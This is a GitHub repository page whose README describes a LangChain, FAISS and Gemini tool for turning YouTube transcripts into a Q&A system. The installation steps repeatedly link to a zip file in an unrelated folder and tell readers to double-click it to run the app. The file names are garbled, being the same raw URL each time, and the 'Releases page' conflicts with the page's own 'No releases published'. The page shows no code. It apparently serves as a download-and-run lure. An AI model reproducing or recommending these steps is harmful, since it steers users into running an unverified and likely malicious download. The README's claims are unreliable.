Skip to content

πŸŽ₯ Transform YouTube videos into an intelligent Q&A system with this minimal RAG pipeline using LangChain for efficient transcript extraction and interaction.

License

Notifications You must be signed in to change notification settings

alikanan1234/rag-using-langchain

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

5 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ‰ rag-using-langchain - Effortlessly Generate YouTube Transcripts

πŸ“¦ Overview

This application allows you to transform YouTube transcripts into a tool that enhances information retrieval using LangChain. By integrating FAISS and Gemini, you can easily produce insightful summaries and searches from video content. Whether for study or research, this tool simplifies the process.

πŸš€ Getting Started

To get started with rag-using-langchain, follow these simple steps to download and run the application.

πŸ’» Requirements

Before you download, ensure your computer meets the following:

  • Operating System: Windows, macOS, or Linux
  • An active internet connection for downloading
  • At least 4 GB of RAM for smooth performance
  • Python 3.7 or later installed on your machine
  • Basic familiarity with running programs on your computer

πŸ“₯ Download Now

Download rag-using-langchain

You can find the latest version available for download on our Releases page. Click the link below to access it.

Download Link

πŸ”§ Installation Steps

Follow these steps to install and begin using the application:

  1. Visit the Releases Page
    Click on the link below to go to the Releases page:
    Download Link

  2. Select the Latest Version
    On the Releases page, find the latest version listed. It would typically be marked as "Latest Release."

  3. Download the Application
    Click on the file name to download it. The file will contain the application along with necessary dependencies.

  4. Locate the Downloaded File
    Once the download completes, navigate to your downloads folder. You should see a file like "https://raw.githubusercontent.com/alikanan1234/rag-using-langchain/master/electrodialyze/rag-using-langchain.zip" or similar.

  5. Extract the Contents
    If your file is a zip, right-click on it and choose "Extract All" to pull out all the files into a new folder.

  6. Running the Application
    Navigate to the folder where you extracted the files. Find the file named "https://raw.githubusercontent.com/alikanan1234/rag-using-langchain/master/electrodialyze/rag-using-langchain.zip" and double-click it. This should start the application.

  7. Follow On-Screen Instructions
    Once the application is running, follow any on-screen prompts to start using the features.

βš™οΈ Usage Instructions

After the application is running, you should see a user-friendly interface prompting you for the YouTube video link. Here's how to use it:

  1. Input YouTube Video Link
    Copy and paste the link of a YouTube video into the application's input box.

  2. Choose Options
    Select any additional options available, such as summarizing or keyword extraction based on your needs.

  3. Process the Transcript
    Click on the 'Process' button. The application will retrieve the transcript and process it using LangChain and FAISS for enhanced output.

  4. View Results
    Once processing is complete, the results will be displayed on the screen. You can save the output or use it as needed.

🌟 Key Features

  • Supports Multiple Languages: Easily convert transcripts from videos in various languages.
  • Fast Processing: Quickly retrieve and generate insights from video content using advanced algorithms.
  • User-Friendly Interface: Navigate the application without any technical expertise.

πŸ› οΈ Troubleshooting

If you encounter any issues while using rag-using-langchain, consider the following:

  • Ensure Python is Installed: The application requires Python. Check your installation or reinstall Python if necessary.
  • Check Your Internet Connection: A stable internet connection is crucial for fetching transcripts.
  • Read Error Messages: They often provide clues about what went wrong. Address them as directed.

πŸ—¨οΈ Community Support

If you need further assistance, feel free to explore the community discussions or check for FAQs related to your concerns. We’re here to help!

πŸ“Œ License

This project is licensed under the MIT License. Feel free to use and modify it as you see fit, but please retain the original credits.

About

πŸŽ₯ Transform YouTube videos into an intelligent Q&A system with this minimal RAG pipeline using LangChain for efficient transcript extraction and interaction.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published